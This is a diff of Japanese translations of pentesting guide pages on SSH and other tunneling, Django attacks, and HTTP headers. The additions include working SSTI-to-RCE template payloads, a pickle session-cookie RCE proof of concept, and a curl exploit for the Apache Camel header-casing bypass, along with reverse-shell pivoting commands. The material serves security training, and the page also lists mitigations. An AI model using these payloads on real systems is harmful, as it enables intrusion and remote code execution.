diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 87d49ede6..f814d943f 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -5,7 +5,7 @@ ## Nmapのヒント > [!WARNING] -> **ICMP**および**SYN**スキャンはソックスプロキシを通じてトンネリングできないため、**pingディスカバリーを無効にする**必要があります(`-Pn`)および**TCPスキャン**(`-sT`)を指定する必要があります。 +> **ICMP**および**SYN**スキャンはソックスプロキシを通してトンネリングできないため、**pingディスカバリーを無効にする**必要があります(`-Pn`)および**TCPスキャン**(`-sT`)を指定する必要があります。 ## **Bash** @@ -57,7 +57,7 @@ ssh -f -N -D @ #All sent to local port ``` ### リバースポートフォワーディング -これは、DMZを通じて内部ホストからあなたのホストにリバースシェルを取得するのに役立ちます: +これは、DMZを通じて内部ホストからあなたのホストへのリバースシェルを取得するのに役立ちます: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000 @@ -68,7 +68,7 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN ``` ### VPN-Tunnel -両方のデバイスで**rootが必要**です(新しいインターフェースを作成するため)し、sshdの設定はrootログインを許可する必要があります:\ +両方のデバイスで**rootが必要**です(新しいインターフェースを作成するため)およびsshdの設定でrootログインを許可する必要があります:\ `PermitRootLogin yes`\ `PermitTunnel yes` ```bash @@ -83,18 +83,18 @@ ifconfig tun0 up #Activate the server side network interface echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE ``` -クライアント側で新しいルートを設定する +クライアント側に新しいルートを設定する ``` route add -net 10.0.0.0/16 gw 1.1.1.1 ``` > [!NOTE] > **セキュリティ – テラピン攻撃 (CVE-2023-48795)** -> 2023年のテラピンダウングレード攻撃により、マンインザミドルが初期SSHハンドシェイクを改ざんし、**任意の転送チャネル**( `-L`, `-R`, `-D` )にデータを注入することができます。クライアントとサーバーの両方がパッチ適用されていることを確認してください(**OpenSSH ≥ 9.6/LibreSSH 6.7**)またはSSHトンネルに依存する前に、脆弱な `chacha20-poly1305@openssh.com` および `*-etm@openssh.com` アルゴリズムを `sshd_config`/`ssh_config` で明示的に無効にしてください。 citeturn4search0 +> 2023年のテラピンダウングレード攻撃により、マンインザミドルが初期SSHハンドシェイクを改ざんし、**任意の転送チャネル**( `-L`, `-R`, `-D` )にデータを注入することができます。クライアントとサーバーの両方がパッチ適用されていることを確認してください(**OpenSSH ≥ 9.6/LibreSSH 6.7**)または、SSHトンネルに依存する前に、`sshd_config`/`ssh_config`で脆弱な`chacha20-poly1305@openssh.com`および`*-etm@openssh.com`アルゴリズムを明示的に無効にしてください。 ## SSHUTTLE -**ssh** を介してホストを通じて **サブネットワーク** への **トラフィック** を **トンネル** できます。\ -例えば、10.10.10.0/24 へのすべてのトラフィックを転送すること。 +**ssh**を介して**サブネットワーク**への**トラフィック**をホストを通じて**トンネル**できます。\ +例えば、10.10.10.0/24へのすべてのトラフィックを転送することができます。 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 @@ -138,7 +138,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ### SOCKSプロキシ -チームサーバーでポートを開き、**ビークンを通じてトラフィックをルーティングする**ために使用できるすべてのインターフェースでリッスンします。 +すべてのインターフェースでリッスンしているteamserverでポートを開き、**ビコーンを通じてトラフィックをルーティングする**ことができます。 ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -160,7 +160,7 @@ rportfwd stop [bind port] - トラフィックは**BeaconのC2トラフィック内でトンネリングされます**、P2Pリンクを含みます。 - **管理者権限は必要ありません** 高ポートでリバースポートフォワードを作成するために。 -### rPort2Port ローカル +### rPort2Portローカル > [!WARNING] > この場合、**ポートはbeaconホストで開かれます**、Team Serverではなく、**トラフィックはCobalt Strikeクライアントに送信されます**(Team Serverではなく)、そこから指定されたホスト:ポートに送信されます。 @@ -324,9 +324,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o ``` ## Plink.exe -これはコンソール版のPuTTYのようなもので(オプションはsshクライアントに非常に似ています)、 +これはコンソール版のPuTTYのようなもので(オプションはsshクライアントに非常に似ています)。 -このバイナリは被害者のマシンで実行され、sshクライアントであるため、リバース接続を確立するためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを私たちのマシンのポートに転送するには: +このバイナリは被害者のマシンで実行され、sshクライアントであるため、リバース接続を確立するためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを自分のマシンのポートに転送するには: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 @@ -358,7 +358,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -今、私たちは **`mstsc.exe`** を使用して **RDP** 経由で **victim** に **接続** できます。**SocksOverRDP プラグインが有効になっている** という **プロンプト** が表示され、**127.0.0.1:1080** で **リッスン** します。 +今、私たちは **`mstsc.exe`** を使用して **RDP** 経由で **victim** に **接続** でき、**SocksOverRDP プラグインが有効である** という **プロンプト** が表示され、**127.0.0.1:1080** で **リッスン** することになります。 **RDP** 経由で **接続** し、victim マシンに `SocksOverRDP-Server.exe` バイナリをアップロードして実行します: ``` @@ -459,7 +459,7 @@ Proxychainsは`gethostbyname` libcコールをインターセプトし、TCP DNS [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -ルート権限が両方のシステムで必要で、ICMPエコーリクエストを使用してトンネルアダプタを作成し、データをそれらの間でトンネリングします。 +両方のシステムでルート権限が必要で、ICMPエコーリクエストを使用してトンアダプタを作成し、データをトンネリングします。 ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v @@ -517,7 +517,7 @@ _必要に応じて、認証とTLSを追加することも可能です。_ ``` #### HTTPコールのスニッフィング -_XSS、SSRF、SSTI ... に役立ちます。_\ +_XSS、SSRF、SSTIに役立ちます..._\ stdoutから直接、またはHTTPインターフェース [http://127.0.0.1:4040](http://127.0.0.1:4000) で。 #### 内部HTTPサービスのトンネリング @@ -574,7 +574,7 @@ url: http://127.0.0.1:8000 ```bash cloudflared tunnel run mytunnel ``` -すべてのトラフィックがホストから**443経由でアウトバウンド**で出るため、Cloudflaredトンネルは、インバウンドACLやNAT境界をバイパスする簡単な方法です。バイナリは通常、特権昇格された状態で実行されるため、可能な場合はコンテナや`--user`フラグを使用してください。 citeturn1search0 +すべてのトラフィックがホストから**443経由でアウトバウンド**で出るため、Cloudflaredトンネルは、インバウンドACLやNAT境界をバイパスする簡単な方法です。バイナリは通常、特権昇格された状態で実行されるため、可能な場合はコンテナや`--user`フラグを使用してください。 ## FRP (Fast Reverse Proxy) @@ -608,9 +608,9 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml # On victim (OpenSSH client only) ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000 ``` -上記のコマンドは、被害者のポート **8080** を **attacker_ip:9000** として公開し、追加のツールを展開することなく実行します – ライビングオフザランドのピボッティングに最適です。 citeturn2search1 +上記のコマンドは、被害者のポート **8080** を **attacker_ip:9000** として公開し、追加のツールを展開することなく、理想的なリビングオフザランドピボットを実現します。 -## チェックする他のツール +## チェックすべき他のツール - [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) - [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index 1e1de5f89..5dbe61d8b 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -3,10 +3,77 @@ {{#include /banners/hacktricks-training.md}} ## キャッシュ操作によるRCE -Djangoのデフォルトのキャッシュストレージ方法は[Pythonピクルス](https://docs.python.org/3/library/pickle.html)であり、[信頼できない入力がアンピクルされる](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)とRCEにつながる可能性があります。**攻撃者がキャッシュへの書き込みアクセスを取得できれば、この脆弱性を基盤となるサーバーでのRCEにエスカレートさせることができます**。 +Djangoのデフォルトのキャッシュストレージ方法は[Python pickles](https://docs.python.org/3/library/pickle.html)であり、[信頼できない入力がアンピクルされる](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)とRCEにつながる可能性があります。**攻撃者がキャッシュへの書き込みアクセスを取得できれば、この脆弱性を基盤となるサーバーでのRCEにエスカレートさせることができます**。 -Djangoのキャッシュは、[Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)、[メモリ](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)、[ファイル](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16)、または[データベース](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)のいずれかに保存されます。Redisサーバーやデータベースに保存されたキャッシュは、最も攻撃の標的になりやすい(RedisインジェクションやSQLインジェクション)ですが、攻撃者はファイルベースのキャッシュを利用して任意の書き込みをRCEに変えることもできるかもしれません。メンテナはこれを非問題としてマークしています。キャッシュファイルフォルダー、SQLテーブル名、Redisサーバーの詳細は、実装に基づいて異なることに注意することが重要です。 +Djangoのキャッシュは、[Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)、[メモリ](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)、[ファイル](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16)、または[データベース](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)のいずれかに保存されます。Redisサーバーまたはデータベースに保存されたキャッシュは、最も攻撃されやすいベクトル(RedisインジェクションおよびSQLインジェクション)ですが、攻撃者はファイルベースのキャッシュを使用して任意の書き込みをRCEに変えることもできるかもしれません。メンテナはこれを非問題としてマークしています。キャッシュファイルフォルダー、SQLテーブル名、およびRedisサーバーの詳細は、実装に基づいて異なることに注意することが重要です。 -このHackerOneのレポートは、SQLiteデータベースに保存されたDjangoキャッシュを悪用する素晴らしい再現可能な例を提供しています: https://hackerone.com/reports/1415436 +このHackerOneレポートは、SQLiteデータベースに保存されたDjangoキャッシュを悪用する素晴らしい再現可能な例を提供しています: https://hackerone.com/reports/1415436 + +--- + +## サーバーサイドテンプレートインジェクション(SSTI) +Djangoテンプレート言語(DTL)は**チューリング完全**です。ユーザー提供のデータが*テンプレート文字列*としてレンダリングされる場合(例えば、`Template(user_input).render()`を呼び出すか、`|safe`/`format_html()`が自動エスケープを削除する場合)、攻撃者は完全なSSTI → RCEを達成する可能性があります。 + +### 検出 +1. *任意の*サニタイズされていないリクエストデータを含む`Template()` / `Engine.from_string()` / `render_to_string()`への動的呼び出しを探します。 +2. 時間ベースまたは算術ペイロードを送信します: +```django +{{7*7}} +``` +レンダリングされた出力に`49`が含まれている場合、入力はテンプレートエンジンによってコンパイルされています。 + +### プリミティブからRCEへ +Djangoは`__import__`への直接アクセスをブロックしますが、Pythonオブジェクトグラフにはアクセス可能です: +```django +{{''.__class__.mro()[1].__subclasses__()}} +``` +`subprocess.Popen`のインデックスを見つけて(Pythonビルドによって約400〜500)、任意のコマンドを実行します: +```django +{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}} +``` +より安全なユニバーサルガジェットは、`cls.__name__ == 'Popen'`になるまで繰り返すことです。 + +同じガジェットは、ユーザー入力を誤って処理する**Debug Toolbar**や**Django-CMS**のテンプレートレンダリング機能にも適用されます。 + +--- + +## ピクルバックセッションクッキーRCE +設定`SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'`が有効になっている場合(またはピクルをデシリアライズするカスタムシリアライザー)、Djangoは**ビューコードを呼び出す前に**セッションクッキーを*復号化し、デシリアライズ*します。したがって、有効な署名キー(デフォルトではプロジェクトの`SECRET_KEY`)を持っているだけで、即座にリモートコード実行が可能です。 + +### 脆弱性の要件 +* サーバーが`PickleSerializer`を使用している。 +* 攻撃者が`settings.SECRET_KEY`を知っている/推測できる(GitHub、`.env`、エラーページなどからの漏洩)。 + +### 検証用コンセプト +```python +#!/usr/bin/env python3 +from django.contrib.sessions.serializers import PickleSerializer +from django.core import signing +import os, base64 + +class RCE(object): +def __reduce__(self): +return (os.system, ("id > /tmp/pwned",)) + +mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer) +print(f"sessionid={mal}") +``` +送信されたクッキーは、WSGIワーカーの権限で実行されます。 + +**緩和策**: デフォルトの `JSONSerializer` を維持し、`SECRET_KEY` をローテーションし、`SESSION_COOKIE_HTTPONLY` を設定します。 + +--- + +## 最近の(2023-2025)高影響Django CVEのペンテスターが確認すべき事項 +* **CVE-2025-48432** – *エスケープされていない `request.path` を介したログインジェクション*(2025年6月4日修正)。攻撃者が改行/ANSIコードをログファイルに密輸し、下流のログ分析を汚染することを可能にします。パッチレベル ≥ 4.2.22 / 5.1.10 / 5.2.2。 +* **CVE-2024-42005** – *`JSONField` の `QuerySet.values()/values_list()` における重大なSQLインジェクション*(CVSS 9.8)。JSONキーを作成して引用から抜け出し、任意のSQLを実行します。4.2.15 / 5.0.8で修正。 + +常に `X-Frame-Options` エラーページまたは `/static/admin/css/base.css` ハッシュを介して正確なフレームワークバージョンをフィンガープリンティングし、適用可能な場合は上記をテストしてください。 + +--- + +## 参考文献 +* Djangoセキュリティリリース – "Django 5.2.2, 5.1.10, 4.2.22がCVE-2025-48432に対処" – 2025年6月4日。 +* OP-Innovate: "DjangoがSQLインジェクションの欠陥CVE-2024-42005に対処するためのセキュリティ更新をリリース" – 2024年8月11日。 {{#include /banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index 6373e38cc..9f5bbfe2a 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -26,16 +26,16 @@ - `True-Client-IP: 127.0.0.1` - `Cluster-Client-IP: 127.0.0.1` - `Via: 1.0 fred, 1.1 127.0.0.1` -- `Connection: close, X-Forwarded-For` (ホップごとのヘッダーを確認) +- `Connection: close, X-Forwarded-For` (ホップバイホップヘッダーを確認) **場所**の書き換え: - `X-Original-URL: /admin/console` - `X-Rewrite-URL: /admin/console` -## ホップごとのヘッダー +## ホップバイホップヘッダー -ホップごとのヘッダーは、リクエストを処理しているプロキシによって処理され、消費されることを目的としたヘッダーであり、エンドツーエンドのヘッダーとは異なります。 +ホップバイホップヘッダーは、リクエストを処理しているプロキシによって処理され、消費されることを目的としたヘッダーであり、エンドツーエンドヘッダーとは対照的です。 - `Connection: close, X-Forwarded-For` @@ -43,7 +43,7 @@ ../../pentesting-web/abusing-hop-by-hop-headers.md {{#endref}} -## HTTPリクエストスムーギング +## HTTPリクエストスムージング - `Content-Length: 30` - `Transfer-Encoding: chunked` @@ -59,9 +59,9 @@ - **`X-Cache`**は、リクエストがキャッシュされていない場合は**`miss`**、キャッシュされている場合は**`hit`**の値を持つことがあります。 - ヘッダー**`Cf-Cache-Status`**でも同様の動作があります。 - **`Cache-Control`**は、リソースがキャッシュされているかどうか、次回キャッシュされる時期を示します: `Cache-Control: public, max-age=1800` -- **`Vary`**は、通常はキーが設定されていない追加のヘッダーをキャッシュキーの一部として扱うことを示すために、レスポンスでよく使用されます。 -- **`Age`**は、オブジェクトがプロキシキャッシュに存在している時間(秒)を定義します。 -- **`Server-Timing: cdn-cache; desc=HIT`**もリソースがキャッシュされていることを示します。 +- **`Vary`**は、通常はキーがないヘッダーであっても、**キャッシュキーの一部**として扱われる**追加ヘッダー**を示すために、レスポンスでよく使用されます。 +- **`Age`**は、オブジェクトがプロキシキャッシュに存在している秒数を定義します。 +- **`Server-Timing: cdn-cache; desc=HIT`**も、リソースがキャッシュされていることを示します。 {{#ref}} ../../pentesting-web/cache-deception/ @@ -82,9 +82,9 @@ ## レンジリクエスト -- **`Accept-Ranges`**: サーバーがレンジリクエストをサポートしているかどうか、サポートしている場合はどの単位でレンジを表現できるかを示します。`Accept-Ranges: ` +- **`Accept-Ranges`**: サーバーがレンジリクエストをサポートしているかどうか、またその場合はどの単位でレンジを表現できるかを示します。`Accept-Ranges: ` - **`Range`**: サーバーが返すべきドキュメントの部分を示します。例えば、`Range:80-100`は、元のレスポンスのバイト80から100を返し、ステータスコード206 Partial Contentを伴います。また、リクエストから`Accept-Encoding`ヘッダーを削除することを忘れないでください。 -- これは、そうでなければエスケープされる可能性のある任意の反射されたJavaScriptコードを含むレスポンスを取得するのに役立つかもしれません。しかし、これを悪用するには、リクエストにこのヘッダーを挿入する必要があります。 +- これは、他の方法ではエスケープされる可能性のある任意の反射されたJavaScriptコードを含むレスポンスを取得するのに役立つかもしれません。しかし、これを悪用するには、リクエストにこのヘッダーを挿入する必要があります。 - **`If-Range`**: 指定されたetagまたは日付がリモートリソースと一致する場合にのみ満たされる条件付きレンジリクエストを作成します。リソースの互換性のないバージョンから2つのレンジをダウンロードするのを防ぐために使用されます。 - **`Content-Range`**: 完全なボディメッセージのどこに部分メッセージが属するかを示します。 @@ -93,10 +93,10 @@ - **`Content-Length`:** リソースのサイズ(バイト数の10進数)。 - **`Content-Type`**: リソースのメディアタイプを示します。 - **`Content-Encoding`**: 圧縮アルゴリズムを指定するために使用されます。 -- **`Content-Language`**: 対象となる人間の言語を説明し、ユーザーが自分の好みの言語に応じて区別できるようにします。 +- **`Content-Language`**: 対象となる人間の言語を説明し、ユーザーが自分の好みに応じて区別できるようにします。 - **`Content-Location`**: 返されたデータの代替位置を示します。 -ペンテストの観点から、この情報は通常「無駄」です。しかし、リソースが**401**または**403**で**保護**されていて、何らかの**方法**でこの**情報**を**取得**できる場合、これは**興味深い**かもしれません。\ +ペンテストの観点から、この情報は通常「無駄」です。しかし、リソースが**401**または**403**で**保護されている**場合、何らかの**方法**でこの**情報**を**取得**できると、これは**興味深い**かもしれません。\ 例えば、HEADリクエストでの**`Range`**と**`Etag`**の組み合わせは、HEADリクエストを介してページの内容を漏洩させることができます。 - ヘッダー`Range: bytes=20-20`を持つリクエストと、`ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`を含むレスポンスは、バイト20のSHA1が`ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`であることを漏洩しています。 @@ -108,12 +108,12 @@ ## コントロール -- **`Allow`**: このヘッダーは、リソースが処理できるHTTPメソッドを伝えるために使用されます。例えば、`Allow: GET, POST, HEAD`のように指定され、リソースがこれらのメソッドをサポートしていることを示します。 +- **`Allow`**: このヘッダーは、リソースが処理できるHTTPメソッドを伝えるために使用されます。例えば、`Allow: GET, POST, HEAD`と指定されている場合、リソースがこれらのメソッドをサポートしていることを示します。 - **`Expect`**: クライアントがリクエストを正常に処理するためにサーバーが満たす必要がある期待を伝えるために使用されます。一般的な使用例は、クライアントが大きなデータペイロードを送信する意図を示す`Expect: 100-continue`ヘッダーです。クライアントは、送信を進める前に`100 (Continue)`レスポンスを探します。このメカニズムは、サーバーの確認を待つことでネットワークの使用を最適化するのに役立ちます。 ## ダウンロード -- HTTPレスポンスの**`Content-Disposition`**ヘッダーは、ファイルを**インライン**(ウェブページ内)で表示するか、**添付ファイル**(ダウンロード)として扱うかを指示します。例えば: +- HTTPレスポンス内の**`Content-Disposition`**ヘッダーは、ファイルを**インライン**(ウェブページ内)で表示するか、**添付ファイル**(ダウンロード)として扱うかを指示します。例えば: ``` Content-Disposition: attachment; filename="filename.jpg" ``` @@ -129,7 +129,7 @@ Content-Disposition: attachment; filename="filename.jpg" ### **信頼されたタイプ** -CSPを通じて信頼されたタイプを強制することで、アプリケーションはDOM XSS攻撃から保護されます。信頼されたタイプは、確立されたセキュリティポリシーに準拠した特定のオブジェクトのみが危険なWeb API呼び出しに使用できることを保証し、デフォルトでJavaScriptコードを保護します。 +CSPを通じて信頼されたタイプを強制することで、アプリケーションはDOM XSS攻撃から保護されます。信頼されたタイプは、確立されたセキュリティポリシーに準拠した特別に作成されたオブジェクトのみが危険なWeb API呼び出しに使用できることを保証し、デフォルトでJavaScriptコードを保護します。 ```javascript // Feature detection if (window.trustedTypes && trustedTypes.createPolicy) { @@ -158,7 +158,7 @@ X-Content-Type-Options: nosniff ``` X-Frame-Options: DENY ``` -### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)** +### **Cross-Origin Resource Policy (CORP) と Cross-Origin Resource Sharing (CORS)** CORPは、どのリソースがウェブサイトによって読み込まれるかを指定するために重要であり、クロスサイトの漏洩を軽減します。一方、CORSは、特定の条件下で同一オリジンポリシーを緩和し、より柔軟なクロスオリジンリソース共有メカニズムを可能にします。 ``` @@ -179,8 +179,43 @@ Cross-Origin-Opener-Policy: same-origin-allow-popups ``` Strict-Transport-Security: max-age=3153600 ``` +## ヘッダー名の大文字小文字バイパス + +HTTP/1.1はヘッダーフィールド名を**大文字小文字を区別しない**と定義しています(RFC 9110 §5.1)。それにもかかわらず、受信した*リテラル*ヘッダー名を最初に正規化せずに比較するカスタムミドルウェア、セキュリティフィルター、またはビジネスロジックを見つけることは非常に一般的です(例:`header.equals("CamelExecCommandExecutable")`)。 これらのチェックが**大文字小文字を区別して**行われる場合、攻撃者は異なる大文字小文字で同じヘッダーを送信することでそれを回避することができます。 + +この誤りが見られる典型的な状況: + +* リクエストが敏感なコンポーネントに到達する前に「危険な」内部ヘッダーをブロックしようとするカスタムの許可/拒否リスト。 +* リバースプロキシの擬似ヘッダー(例:`X-Forwarded-For`のサニタイズ)の社内実装。 +* 管理/デバッグエンドポイントを公開し、認証やコマンド選択のためにヘッダー名に依存するフレームワーク。 + +### バイパスの悪用 + +1. サーバー側でフィルタリングまたは検証されるヘッダーを特定します(例えば、ソースコード、ドキュメント、またはエラーメッセージを読むことによって)。 +2. **異なる大文字小文字の同じヘッダー**を送信します(ミックスケースまたは大文字)。 HTTPスタックは通常、ユーザーコードが実行された後にのみヘッダーを正規化するため、脆弱なチェックをスキップできます。 +3. 下流のコンポーネントがヘッダーを大文字小文字を区別しない方法で扱う場合(ほとんどがそうです)、攻撃者が制御する値を受け入れます。 + +### 例:Apache Camel `exec` RCE (CVE-2025-27636) + +脆弱なバージョンのApache Camelでは、*Command Center*ルートがヘッダー`CamelExecCommandExecutable`と`CamelExecCommandArgs`を削除することで信頼できないリクエストをブロックしようとします。 比較は`equals()`で行われたため、正確な小文字の名前のみが削除されました。 +```bash +# Bypass the filter by using mixed-case header names and execute `ls /` on the host +curl "http:///command-center" \ +-H "CAmelExecCommandExecutable: ls" \ +-H "CAmelExecCommandArgs: /" +``` +ヘッダーはフィルタリングされずに `exec` コンポーネントに到達し、Camel プロセスの権限でリモートコマンド実行が発生します。 + +### 検出と緩和 + +* すべてのヘッダー名を単一のケース(通常は小文字)に正規化します **before** アロウ/ディナイ比較を行う前に。 +* 疑わしい重複を拒否します:`Header:` と `HeAdEr:` の両方が存在する場合、それを異常として扱います。 +* 正規化の **after** に強制されるポジティブアロウリストを使用します。 +* 認証とネットワークセグメンテーションで管理エンドポイントを保護します。 + ## 参考文献 +- [CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/) - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition) - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers) - [https://web.dev/security-headers/](https://web.dev/security-headers/)